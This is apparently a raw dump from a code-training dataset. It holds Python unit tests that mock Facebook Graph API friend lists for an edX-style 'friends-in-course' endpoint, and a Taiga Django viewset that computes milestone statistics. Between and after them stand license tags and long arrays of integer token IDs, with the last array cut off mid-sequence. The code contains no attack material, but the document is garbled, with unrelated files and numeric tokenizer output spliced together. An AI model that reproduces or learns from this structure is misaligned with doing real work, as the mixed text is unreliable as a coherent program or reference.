self.link_edx_account_to_social(self.users[3], self.BACKEND, self.USERS[3]['FB_ID'])
self.set_sharing_preferences(self.users[3], True)
self.set_facebook_interceptor_for_friends(
{
'data':
[
{'name': self.USERS[1]['USERNAME'], 'id': self.USERS[1]['FB_ID']},
{'name': self.USERS[2]['USERNAME'], 'id': self.USERS[2]['FB_ID']},
{'name': self.USERS[3]['USERNAME'], 'id': self.USERS[3]['FB_ID']},
]
}
)
url = reverse('friends-in-course', kwargs={"course_id": unicode(self.course.id)})
response = self.client.get(
url,
{'format': 'json', 'oauth_token': self._FB_USER_ACCESS_TOKEN}
)
self.assertEqual(response.status_code, 200)
self.assertTrue('friends' in response.data)
# Assert that USERNAME_1 is returned
self.assertTrue(
'id' in response.data['friends'][0] and
response.data['friends'][0]['id'] == self.USERS[1]['FB_ID']
)
self.assertTrue(
'name' in response.data['friends'][0] and
response.data['friends'][0]['name'] == self.USERS[1]['USERNAME']
)
# Assert that USERNAME_2 is returned
self.assertTrue(
'id' in response.data['friends'][1] and
response.data['friends'][1]['id'] == self.USERS[2]['FB_ID']
)
self.assertTrue(
'name' in response.data['friends'][1] and
response.data['friends'][1]['name'] == self.USERS[2]['USERNAME']
)
# Assert that USERNAME_3 is returned
self.assertTrue(
'id' in response.data['friends'][2] and
response.data['friends'][2]['id'] == self.USERS[3]['FB_ID']
)
self.assertTrue(
'name' in response.data['friends'][2] and
response.data['friends'][2]['name'] == self.USERS[3]['USERNAME']
)
@httpretty.activate
def test_three_friends_in_paged_response(self):
# User 1 set up
self.user_create_and_signin(1)
self.enroll_in_course(self.users[1], self.course)
self.link_edx_account_to_social(self.users[1], self.BACKEND, self.USERS[1]['FB_ID'])
self.set_sharing_preferences(self.users[1], True)
# User 2 set up
self.user_create_and_signin(2)
self.enroll_in_course(self.users[2], self.course)
self.link_edx_account_to_social(self.users[2], self.BACKEND, self.USERS[2]['FB_ID'])
self.set_sharing_preferences(self.users[2], True)
# User 3 set up
self.user_create_and_signin(3)
self.enroll_in_course(self.users[3], self.course)
self.link_edx_account_to_social(self.users[3], self.BACKEND, self.USERS[3]['FB_ID'])
self.set_sharing_preferences(self.users[3], True)
self.set_facebook_interceptor_for_friends(
{
'data': [{'name': self.USERS[1]['USERNAME'], 'id': self.USERS[1]['FB_ID']}],
"paging": {"next": "https://graph.facebook.com/v2.2/me/friends/next_1"},
"summary": {"total_count": 652}
}
)
# Set the interceptor for the first paged content
httpretty.register_uri(
httpretty.GET,
"https://graph.facebook.com/v2.2/me/friends/next_1",
body=json.dumps(
{
"data": [{'name': self.USERS[2]['USERNAME'], 'id': self.USERS[2]['FB_ID']}],
"paging": {"next": "https://graph.facebook.com/v2.2/me/friends/next_2"},
"summary": {"total_count": 652}
}
),
status=201
)
# Set the interceptor for the last paged content
httpretty.register_uri(
httpretty.GET,
"https://graph.facebook.com/v2.2/me/friends/next_2",
body=json.dumps(
{
"data": [{'name': self.USERS[3]['USERNAME'], 'id': self.USERS[3]['FB_ID']}],
"paging": {
"previous":
"https://graph.facebook.com/v2.2/10154805434030300/friends?limit=25&offset=25"
},
"summary": {"total_count": 652}
}
),
status=201
)
url = reverse('friends-in-course', kwargs={"course_id": unicode(self.course.id)})
response = self.client.get(url, {'format': 'json', 'oauth_token': self._FB_USER_ACCESS_TOKEN})
self.assertEqual(response.status_code, 200)
self.assertTrue('friends' in response.data)
# Assert that USERNAME_1 is returned
self.assertTrue('id' in response.data['friends'][0])
self.assertTrue(response.data['friends'][0]['id'] == self.USERS[1]['FB_ID'])
self.assertTrue('name' in response.data['friends'][0])
self.assertTrue(response.data['friends'][0]['name'] == self.USERS[1]['USERNAME'])
# Assert that USERNAME_2 is returned
self.assertTrue('id' in response.data['friends'][1])
self.assertTrue(response.data['friends'][1]['id'] == self.USERS[2]['FB_ID'])
self.assertTrue('name' in response.data['friends'][1])
self.assertTrue(response.data['friends'][1]['name'] == self.USERS[2]['USERNAME'])
# Assert that USERNAME_3 is returned
self.assertTrue('id' in response.data['friends'][2])
self.assertTrue(response.data['friends'][2]['id'] == self.USERS[3]['FB_ID'])
self.assertTrue('name' in response.data['friends'][2])
self.assertTrue(response.data['friends'][2]['name'] == self.USERS[3]['USERNAME'])
|
agpl-3.0
|
[
3,
4287,
26,
3507,
29,
37,
24827,
199,
624,
199,
2925,
367,
26157,
199,
624,
199,
646,
2022,
199,
646,
22768,
9118,
199,
504,
1639,
14,
1018,
14,
16522,
492,
3837,
199,
504,
9872,
14,
10012,
14,
2219,
14,
15406,
492,
17862,
199,
504,
2508,
396,
63,
1208,
492,
2002,
7180,
13414,
2706,
1746,
421,
199,
533,
1379,
38,
13010,
8,
31356,
13414,
2706,
1746,
304,
272,
408,
272,
6496,
367,
1182,
1246,
15,
11375,
15,
86,
16,
14,
21,
15,
18024,
15,
1396,
272,
408,
339,
347,
3613,
8,
277,
304,
267,
1613,
8,
774,
38,
13010,
12,
291,
680,
5996,
342,
267,
291,
14,
1972,
275,
17862,
14,
981,
342,
339,
768,
16916,
9118,
14,
8222,
272,
347,
511,
63,
889,
63,
18024,
63,
22428,
8,
277,
304,
267,
327,
2876,
413,
663,
1536,
267,
291,
14,
751,
63,
981,
63,
460,
63,
1037,
262,
8,
17,
9,
267,
327,
10967,
922,
63,
17,
1159,
3988,
56,
2933,
370,
481,
34,
267,
291,
14,
1073,
63,
8268,
63,
2048,
63,
475,
63,
13574,
8,
277,
14,
3707,
59,
17,
467,
291,
14,
18145,
12,
291,
14,
28164,
59,
17,
2733,
8223,
63,
998,
1105,
267,
291,
14,
409,
63,
29122,
63,
18063,
8,
277,
14,
3707,
59,
17,
467,
715,
9,
267,
327,
2494,
314,
13926,
269,
267,
291,
14,
409,
63,
16652,
63,
10863,
269,
63,
509,
63,
18024,
8,
288,
469,
355,
283,
576,
356,
490,
359,
717,
791,
354,
356,
291,
14,
28164,
59,
17,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
17,
2733,
8223,
63,
998,
14949,
717,
791,
354,
356,
291,
14,
28164,
59,
18,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
18,
2733,
8223,
63,
998,
14949,
717,
791,
354,
356,
291,
14,
28164,
59,
19,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
19,
2733,
8223,
63,
998,
14949,
490,
1622,
288,
789,
267,
776,
267,
2518,
63,
344,
275,
2649,
8,
277,
14,
1972,
14,
344,
9,
267,
1166,
275,
3837,
360,
18024,
13,
262,
13,
1972,
297,
2074,
8871,
1972,
63,
344,
582,
2518,
63,
344,
1552,
267,
1177,
275,
291,
14,
1258,
14,
362,
8,
633,
12,
791,
908,
356,
283,
1001,
297,
283,
6126,
63,
1418,
356,
291,
423,
8223,
63,
3791,
63,
11074,
63,
8803,
1552,
267,
327,
10716,
626,
949,
26157,
787,
2138,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
267,
291,
14,
1815,
360,
18024,
7,
315,
1177,
14,
576,
436,
822,
8,
1310,
14,
576,
459,
18024,
1105,
508,
378,
9,
339,
768,
16916,
9118,
14,
8222,
272,
347,
511,
63,
889,
63,
18024,
63,
265,
63,
16652,
8,
277,
304,
267,
327,
2876,
413,
663,
1536,
267,
291,
14,
751,
63,
981,
63,
460,
63,
1037,
262,
8,
17,
9,
267,
327,
3447,
2827,
922,
63,
17,
315,
314,
2518,
267,
291,
14,
14695,
63,
262,
63,
1972,
8,
277,
14,
3707,
59,
17,
467,
291,
14,
1972,
9,
267,
291,
14,
409,
63,
29122,
63,
18063,
8,
277,
14,
3707,
59,
17,
467,
715,
9,
267,
327,
10967,
922,
63,
17,
1159,
3988,
56,
2933,
370,
481,
34,
267,
291,
14,
1073,
63,
8268,
63,
2048,
63,
475,
63,
13574,
8,
277,
14,
3707,
59,
17,
467,
291,
14,
18145,
12,
291,
14,
28164,
59,
17,
2733,
8223,
63,
998,
1105,
267,
327,
2494,
314,
13926,
269,
267,
291,
14,
409,
63,
16652,
63,
10863,
269,
63,
509,
63,
18024,
3252,
576,
356,
942,
1552,
267,
2518,
63,
344,
275,
2649,
8,
277,
14,
1972,
14,
344,
9,
267,
1166,
275,
3837,
360,
18024,
13,
262,
13,
1972,
297,
2074,
8871,
1972,
63,
344,
582,
2518,
63,
344,
1552,
267,
1177,
275,
291,
14,
1258,
14,
362,
8,
288,
1166,
12,
791,
908,
356,
283,
1001,
297,
283,
6126,
63,
1418,
356,
291,
423,
8223,
63,
3791,
63,
11074,
63,
8803,
93,
267,
776,
267,
327,
10716,
626,
949,
26157,
787,
2138,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
267,
291,
14,
1815,
360,
18024,
7,
315,
1177,
14,
576,
436,
822,
8,
1310,
14,
576,
459,
18024,
1105,
508,
378,
9,
339,
768,
16916,
9118,
14,
8222,
272,
347,
511,
63,
889,
63,
18024,
63,
12751,
63,
475,
63,
8268,
8,
277,
304,
267,
327,
2876,
413,
663,
1536,
267,
291,
14,
751,
63,
981,
63,
460,
63,
1037,
262,
8,
17,
9,
267,
327,
3447,
2827,
922,
63,
17,
315,
314,
2518,
267,
291,
14,
14695,
63,
262,
63,
1972,
8,
277,
14,
3707,
59,
17,
467,
291,
14,
1972,
9,
267,
291,
14,
409,
63,
29122,
63,
18063,
8,
277,
14,
3707,
59,
17,
467,
715,
9,
267,
327,
2876,
499,
663,
1536,
267,
291,
14,
751,
63,
981,
63,
460,
63,
1037,
262,
8,
18,
9,
267,
327,
3447,
2827,
922,
63,
18,
315,
314,
2518,
267,
291,
14,
14695,
63,
262,
63,
1972,
8,
277,
14,
3707,
59,
18,
467,
291,
14,
1972,
9,
267,
291,
14,
409,
63,
29122,
63,
18063,
8,
277,
14,
3707,
59,
18,
467,
715,
9,
267,
327,
2876,
650,
663,
1536,
267,
291,
14,
751,
63,
981,
63,
460,
63,
1037,
262,
8,
19,
9,
267,
327,
3447,
2827,
922,
63,
19,
315,
314,
2518,
267,
291,
14,
14695,
63,
262,
63,
1972,
8,
277,
14,
3707,
59,
19,
467,
291,
14,
1972,
9,
267,
291,
14,
409,
63,
29122,
63,
18063,
8,
277,
14,
3707,
59,
19,
467,
715,
9,
398,
327,
2494,
314,
13926,
269,
267,
291,
14,
409,
63,
16652,
63,
10863,
269,
63,
509,
63,
18024,
8,
288,
469,
355,
283,
576,
356,
490,
359,
717,
791,
354,
356,
291,
14,
28164,
59,
17,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
17,
2733,
8223,
63,
998,
14949,
717,
791,
354,
356,
291,
14,
28164,
59,
18,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
18,
2733,
8223,
63,
998,
14949,
717,
791,
354,
356,
291,
14,
28164,
59,
19,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
19,
2733,
8223,
63,
998,
14949
] |
[
4287,
26,
3507,
29,
37,
24827,
199,
624,
199,
2925,
367,
26157,
199,
624,
199,
646,
2022,
199,
646,
22768,
9118,
199,
504,
1639,
14,
1018,
14,
16522,
492,
3837,
199,
504,
9872,
14,
10012,
14,
2219,
14,
15406,
492,
17862,
199,
504,
2508,
396,
63,
1208,
492,
2002,
7180,
13414,
2706,
1746,
421,
199,
533,
1379,
38,
13010,
8,
31356,
13414,
2706,
1746,
304,
272,
408,
272,
6496,
367,
1182,
1246,
15,
11375,
15,
86,
16,
14,
21,
15,
18024,
15,
1396,
272,
408,
339,
347,
3613,
8,
277,
304,
267,
1613,
8,
774,
38,
13010,
12,
291,
680,
5996,
342,
267,
291,
14,
1972,
275,
17862,
14,
981,
342,
339,
768,
16916,
9118,
14,
8222,
272,
347,
511,
63,
889,
63,
18024,
63,
22428,
8,
277,
304,
267,
327,
2876,
413,
663,
1536,
267,
291,
14,
751,
63,
981,
63,
460,
63,
1037,
262,
8,
17,
9,
267,
327,
10967,
922,
63,
17,
1159,
3988,
56,
2933,
370,
481,
34,
267,
291,
14,
1073,
63,
8268,
63,
2048,
63,
475,
63,
13574,
8,
277,
14,
3707,
59,
17,
467,
291,
14,
18145,
12,
291,
14,
28164,
59,
17,
2733,
8223,
63,
998,
1105,
267,
291,
14,
409,
63,
29122,
63,
18063,
8,
277,
14,
3707,
59,
17,
467,
715,
9,
267,
327,
2494,
314,
13926,
269,
267,
291,
14,
409,
63,
16652,
63,
10863,
269,
63,
509,
63,
18024,
8,
288,
469,
355,
283,
576,
356,
490,
359,
717,
791,
354,
356,
291,
14,
28164,
59,
17,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
17,
2733,
8223,
63,
998,
14949,
717,
791,
354,
356,
291,
14,
28164,
59,
18,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
18,
2733,
8223,
63,
998,
14949,
717,
791,
354,
356,
291,
14,
28164,
59,
19,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
19,
2733,
8223,
63,
998,
14949,
490,
1622,
288,
789,
267,
776,
267,
2518,
63,
344,
275,
2649,
8,
277,
14,
1972,
14,
344,
9,
267,
1166,
275,
3837,
360,
18024,
13,
262,
13,
1972,
297,
2074,
8871,
1972,
63,
344,
582,
2518,
63,
344,
1552,
267,
1177,
275,
291,
14,
1258,
14,
362,
8,
633,
12,
791,
908,
356,
283,
1001,
297,
283,
6126,
63,
1418,
356,
291,
423,
8223,
63,
3791,
63,
11074,
63,
8803,
1552,
267,
327,
10716,
626,
949,
26157,
787,
2138,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
267,
291,
14,
1815,
360,
18024,
7,
315,
1177,
14,
576,
436,
822,
8,
1310,
14,
576,
459,
18024,
1105,
508,
378,
9,
339,
768,
16916,
9118,
14,
8222,
272,
347,
511,
63,
889,
63,
18024,
63,
265,
63,
16652,
8,
277,
304,
267,
327,
2876,
413,
663,
1536,
267,
291,
14,
751,
63,
981,
63,
460,
63,
1037,
262,
8,
17,
9,
267,
327,
3447,
2827,
922,
63,
17,
315,
314,
2518,
267,
291,
14,
14695,
63,
262,
63,
1972,
8,
277,
14,
3707,
59,
17,
467,
291,
14,
1972,
9,
267,
291,
14,
409,
63,
29122,
63,
18063,
8,
277,
14,
3707,
59,
17,
467,
715,
9,
267,
327,
10967,
922,
63,
17,
1159,
3988,
56,
2933,
370,
481,
34,
267,
291,
14,
1073,
63,
8268,
63,
2048,
63,
475,
63,
13574,
8,
277,
14,
3707,
59,
17,
467,
291,
14,
18145,
12,
291,
14,
28164,
59,
17,
2733,
8223,
63,
998,
1105,
267,
327,
2494,
314,
13926,
269,
267,
291,
14,
409,
63,
16652,
63,
10863,
269,
63,
509,
63,
18024,
3252,
576,
356,
942,
1552,
267,
2518,
63,
344,
275,
2649,
8,
277,
14,
1972,
14,
344,
9,
267,
1166,
275,
3837,
360,
18024,
13,
262,
13,
1972,
297,
2074,
8871,
1972,
63,
344,
582,
2518,
63,
344,
1552,
267,
1177,
275,
291,
14,
1258,
14,
362,
8,
288,
1166,
12,
791,
908,
356,
283,
1001,
297,
283,
6126,
63,
1418,
356,
291,
423,
8223,
63,
3791,
63,
11074,
63,
8803,
93,
267,
776,
267,
327,
10716,
626,
949,
26157,
787,
2138,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
267,
291,
14,
1815,
360,
18024,
7,
315,
1177,
14,
576,
436,
822,
8,
1310,
14,
576,
459,
18024,
1105,
508,
378,
9,
339,
768,
16916,
9118,
14,
8222,
272,
347,
511,
63,
889,
63,
18024,
63,
12751,
63,
475,
63,
8268,
8,
277,
304,
267,
327,
2876,
413,
663,
1536,
267,
291,
14,
751,
63,
981,
63,
460,
63,
1037,
262,
8,
17,
9,
267,
327,
3447,
2827,
922,
63,
17,
315,
314,
2518,
267,
291,
14,
14695,
63,
262,
63,
1972,
8,
277,
14,
3707,
59,
17,
467,
291,
14,
1972,
9,
267,
291,
14,
409,
63,
29122,
63,
18063,
8,
277,
14,
3707,
59,
17,
467,
715,
9,
267,
327,
2876,
499,
663,
1536,
267,
291,
14,
751,
63,
981,
63,
460,
63,
1037,
262,
8,
18,
9,
267,
327,
3447,
2827,
922,
63,
18,
315,
314,
2518,
267,
291,
14,
14695,
63,
262,
63,
1972,
8,
277,
14,
3707,
59,
18,
467,
291,
14,
1972,
9,
267,
291,
14,
409,
63,
29122,
63,
18063,
8,
277,
14,
3707,
59,
18,
467,
715,
9,
267,
327,
2876,
650,
663,
1536,
267,
291,
14,
751,
63,
981,
63,
460,
63,
1037,
262,
8,
19,
9,
267,
327,
3447,
2827,
922,
63,
19,
315,
314,
2518,
267,
291,
14,
14695,
63,
262,
63,
1972,
8,
277,
14,
3707,
59,
19,
467,
291,
14,
1972,
9,
267,
291,
14,
409,
63,
29122,
63,
18063,
8,
277,
14,
3707,
59,
19,
467,
715,
9,
398,
327,
2494,
314,
13926,
269,
267,
291,
14,
409,
63,
16652,
63,
10863,
269,
63,
509,
63,
18024,
8,
288,
469,
355,
283,
576,
356,
490,
359,
717,
791,
354,
356,
291,
14,
28164,
59,
17,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
17,
2733,
8223,
63,
998,
14949,
717,
791,
354,
356,
291,
14,
28164,
59,
18,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
18,
2733,
8223,
63,
998,
14949,
717,
791,
354,
356,
291,
14,
28164,
59,
19,
2733,
11958,
995,
283,
344,
356,
291,
14,
28164,
59,
19,
2733,
8223,
63,
998,
14949,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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andrey Antukh <niwi@niwi.be>
# Copyright (C) 2014-2015 Jesús Espino <jespinog@gmail.com>
# Copyright (C) 2014-2015 David Barragán <bameda@dbarragan.com>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from django.apps import apps
from django.db.models import Prefetch
from taiga.base import filters
from taiga.base import response
from taiga.base.decorators import detail_route
from taiga.base.api import ModelCrudViewSet, ModelListViewSet
from taiga.base.api.utils import get_object_or_404
from taiga.base.utils.db import get_object_or_none
from taiga.projects.notifications.mixins import WatchedResourceMixin, WatchersViewSetMixin
from taiga.projects.history.mixins import HistoryResourceMixin
from taiga.projects.votes.utils import attach_total_voters_to_queryset, attach_is_voter_to_queryset
from taiga.projects.notifications.utils import attach_watchers_to_queryset, attach_is_watcher_to_queryset
from . import serializers
from . import models
from . import permissions
import datetime
class MilestoneViewSet(HistoryResourceMixin, WatchedResourceMixin, ModelCrudViewSet):
serializer_class = serializers.MilestoneSerializer
permission_classes = (permissions.MilestonePermission,)
filter_backends = (filters.CanViewMilestonesFilterBackend,)
filter_fields = ("project", "closed")
queryset = models.Milestone.objects.all()
def list(self, request, *args, **kwargs):
res = super().list(request, *args, **kwargs)
self._add_taiga_info_headers()
return res
def _add_taiga_info_headers(self):
try:
project_id = int(self.request.QUERY_PARAMS.get("project", None))
project_model = apps.get_model("projects", "Project")
project = get_object_or_none(project_model, id=project_id)
except TypeError:
project = None
if project:
opened_milestones = project.milestones.filter(closed=False).count()
closed_milestones = project.milestones.filter(closed=True).count()
self.headers["Taiga-Info-Total-Opened-Milestones"] = opened_milestones
self.headers["Taiga-Info-Total-Closed-Milestones"] = closed_milestones
def get_queryset(self):
qs = super().get_queryset()
# Userstories prefetching
UserStory = apps.get_model("userstories", "UserStory")
us_qs = UserStory.objects.prefetch_related("role_points",
"role_points__points",
"role_points__role")
us_qs = us_qs.select_related("milestone",
"project",
"status",
"owner",
"assigned_to",
"generated_from_issue")
us_qs = self.attach_watchers_attrs_to_queryset(us_qs)
if self.request.user.is_authenticated():
us_qs = attach_is_voter_to_queryset(self.request.user, us_qs)
us_qs = attach_is_watcher_to_queryset(self.request.user, us_qs)
qs = qs.prefetch_related(Prefetch("user_stories", queryset=us_qs))
# Milestones prefetching
qs = qs.select_related("project", "owner")
qs = self.attach_watchers_attrs_to_queryset(qs)
qs = qs.order_by("-estimated_start")
return qs
def pre_save(self, obj):
if not obj.id:
obj.owner = self.request.user
super().pre_save(obj)
@detail_route(methods=['get'])
def stats(self, request, pk=None):
milestone = get_object_or_404(models.Milestone, pk=pk)
self.check_permissions(request, "stats", milestone)
total_points = milestone.total_points
milestone_stats = {
'name': milestone.name,
'estimated_start': milestone.estimated_start,
'estimated_finish': milestone.estimated_finish,
'total_points': total_points,
'completed_points': milestone.closed_points.values(),
'total_userstories': milestone.user_stories.count(),
'completed_userstories': len([us for us in milestone.user_stories.all() if us.is_closed]),
'total_tasks': milestone.tasks.all().count(),
'completed_tasks': milestone.tasks.all().filter(status__is_closed=True).count(),
'iocaine_doses': milestone.tasks.filter(is_iocaine=True).count(),
'days': []
}
current_date = milestone.estimated_start
sumTotalPoints = sum(total_points.values())
optimal_points = sumTotalPoints
milestone_days = (milestone.estimated_finish - milestone.estimated_start).days
optimal_points_per_day = sumTotalPoints / milestone_days if milestone_days else 0
while current_date <= milestone.estimated_finish:
milestone_stats['days'].append({
'day': current_date,
'name': current_date.day,
'open_points': sumTotalPoints - sum(milestone.closed_points_by_date(current_date).values()),
'optimal_points': optimal_points,
})
current_date = current_date + datetime.timedelta(days=1)
optimal_points -= optimal_points_per_day
return response.Ok(milestone_stats)
class MilestoneWatchersViewSet(WatchersViewSetMixin, ModelListViewSet):
permission_classes = (permissions.MilestoneWatchersPermission,)
resource_model = models.Milestone
|
agpl-3.0
|
[
3,
1898,
334,
35,
9,
6927,
13,
7806,
6061,
17885,
437,
343,
3210,
72,
665,
8445,
14249,
32,
8445,
14249,
14,
1235,
30,
199,
3,
1898,
334,
35,
9,
6927,
13,
7806,
1603,
397,
24602,
83,
662,
681,
10175,
665,
74,
397,
7751,
974,
32,
6799,
14,
957,
30,
199,
3,
1898,
334,
35,
9,
6927,
13,
7806,
20232,
12377,
2527,
11302,
78,
665,
66,
313,
983,
32,
697,
285,
2527,
290,
14,
957,
30,
199,
3,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
504,
1639,
14,
5181,
492,
8686,
199,
504,
1639,
14,
697,
14,
992,
492,
510,
1121,
2367,
199,
199,
504,
3052,
29055,
14,
1095,
492,
4766,
199,
504,
3052,
29055,
14,
1095,
492,
1177,
199,
504,
3052,
29055,
14,
1095,
14,
11582,
492,
10093,
63,
4449,
199,
504,
3052,
29055,
14,
1095,
14,
1246,
492,
5822,
17345,
1181,
21902,
12,
5822,
1296,
21902,
199,
504,
3052,
29055,
14,
1095,
14,
1246,
14,
1208,
492,
664,
63,
785,
63,
269,
63,
5188,
199,
504,
3052,
29055,
14,
1095,
14,
1208,
14,
697,
492,
664,
63,
785,
63,
269,
63,
3592,
199,
199,
504,
3052,
29055,
14,
6776,
14,
12782,
14,
30192,
492,
29075,
379,
4031,
4256,
12,
29075,
1192,
21902,
4256,
199,
504,
3052,
29055,
14,
6776,
14,
5570,
14,
30192,
492,
27829,
4031,
4256,
199,
504,
3052,
29055,
14,
6776,
14,
16660,
14,
1208,
492,
6554,
63,
2923,
63,
2392,
878,
63,
475,
63,
7924,
12,
6554,
63,
374,
63,
2392,
351,
63,
475,
63,
7924,
199,
504,
3052,
29055,
14,
6776,
14,
12782,
14,
1208,
492,
6554,
63,
6821,
1192,
63,
475,
63,
7924,
12,
6554,
63,
374,
63,
22226,
63,
475,
63,
7924,
199,
199,
504,
1275,
492,
12506,
199,
504,
1275,
492,
1709,
199,
504,
1275,
492,
3443,
199,
199,
646,
2197,
421,
199,
533,
603,
18072,
21902,
8,
12114,
4031,
4256,
12,
29075,
379,
4031,
4256,
12,
5822,
17345,
1181,
21902,
304,
272,
9146,
63,
533,
275,
12506,
14,
45,
18072,
7299,
272,
4983,
63,
2888,
275,
334,
6060,
14,
45,
18072,
7980,
4258,
272,
2457,
63,
7765,
275,
334,
4273,
14,
6049,
2768,
45,
24156,
4131,
8447,
4258,
272,
2457,
63,
955,
275,
1689,
1715,
401,
298,
5938,
531,
272,
7594,
275,
1709,
14,
45,
18072,
14,
1462,
14,
452,
342,
339,
347,
769,
8,
277,
12,
1056,
12,
627,
589,
12,
1011,
958,
304,
267,
522,
275,
1613,
1252,
513,
8,
1069,
12,
627,
589,
12,
1011,
958,
9,
267,
291,
423,
525,
63,
502,
29055,
63,
815,
63,
2139,
342,
267,
372,
522,
339,
347,
485,
525,
63,
502,
29055,
63,
815,
63,
2139,
8,
277,
304,
267,
862,
26,
288,
2199,
63,
344,
275,
1109,
8,
277,
14,
1069,
14,
11938,
63,
17978,
14,
362,
480,
1715,
401,
488,
430,
288,
2199,
63,
1238,
275,
8686,
14,
362,
63,
1238,
480,
6776,
401,
298,
4761,
531,
288,
2199,
275,
664,
63,
785,
63,
269,
63,
3592,
8,
1715,
63,
1238,
12,
1305,
29,
1715,
63,
344,
9,
267,
871,
3146,
26,
288,
2199,
275,
488,
398,
340,
2199,
26,
288,
12123,
63,
77,
24156,
275,
2199,
14,
77,
24156,
14,
1541,
8,
5938,
29,
797,
680,
835,
342,
288,
6876,
63,
77,
24156,
275,
2199,
14,
77,
24156,
14,
1541,
8,
5938,
29,
549,
680,
835,
342,
953,
291,
14,
2139,
905,
22620,
29055,
13,
2354,
13,
7316,
13,
4299,
379,
13,
45,
24156,
937,
275,
12123,
63,
77,
24156,
288,
291,
14,
2139,
905,
22620,
29055,
13,
2354,
13,
7316,
13,
15190,
13,
45,
24156,
937,
275,
6876,
63,
77,
24156,
339,
347,
664,
63,
7924,
8,
277,
304,
267,
6377,
275,
1613,
1252,
362,
63,
7924,
342,
398,
327,
2876,
270,
6112,
21544,
316,
267,
2876,
25120,
275,
8686,
14,
362,
63,
1238,
480,
751,
270,
6112,
401,
298,
1899,
25120,
531,
267,
2739,
63,
6177,
275,
2876,
25120,
14,
1462,
14,
15576,
63,
2407,
480,
3756,
63,
3438,
401,
8962,
298,
3756,
63,
3438,
363,
3438,
401,
8962,
298,
3756,
63,
3438,
363,
3756,
531,
398,
2739,
63,
6177,
275,
2739,
63,
6177,
14,
2416,
63,
2407,
480,
25324,
401,
3660,
298,
1715,
401,
3660,
298,
1205,
401,
3660,
298,
4597,
401,
3660,
298,
12941,
63,
475,
401,
3660,
298,
10176,
63,
504,
63,
5237,
531,
398,
2739,
63,
6177,
275,
291,
14,
5040,
63,
6821,
1192,
63,
3288,
63,
475,
63,
7924,
8,
527,
63,
6177,
9,
398,
340,
291,
14,
1069,
14,
751,
14,
374,
63,
12177,
837,
288,
2739,
63,
6177,
275,
6554,
63,
374,
63,
2392,
351,
63,
475,
63,
7924,
8,
277,
14,
1069,
14,
751,
12,
2739,
63,
6177,
9,
288,
2739,
63,
6177,
275,
6554,
63,
374,
63,
22226,
63,
475,
63,
7924,
8,
277,
14,
1069,
14,
751,
12,
2739,
63,
6177,
9,
398,
6377,
275,
6377,
14,
15576,
63,
2407,
8,
18441,
2367,
480,
751,
63,
270,
6112,
401,
7594,
29,
527,
63,
6177,
430,
398,
327,
603,
24156,
21544,
316,
267,
6377,
275,
6377,
14,
2416,
63,
2407,
480,
1715,
401,
298,
4597,
531,
267,
6377,
275,
291,
14,
5040,
63,
6821,
1192,
63,
3288,
63,
475,
63,
7924,
8,
6177,
9,
398,
6377,
275,
6377,
14,
1648,
63,
991,
6096,
597,
12754,
63,
928,
531,
267,
372,
6377,
339,
347,
876,
63,
2117
] |
[
1898,
334,
35,
9,
6927,
13,
7806,
6061,
17885,
437,
343,
3210,
72,
665,
8445,
14249,
32,
8445,
14249,
14,
1235,
30,
199,
3,
1898,
334,
35,
9,
6927,
13,
7806,
1603,
397,
24602,
83,
662,
681,
10175,
665,
74,
397,
7751,
974,
32,
6799,
14,
957,
30,
199,
3,
1898,
334,
35,
9,
6927,
13,
7806,
20232,
12377,
2527,
11302,
78,
665,
66,
313,
983,
32,
697,
285,
2527,
290,
14,
957,
30,
199,
3,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
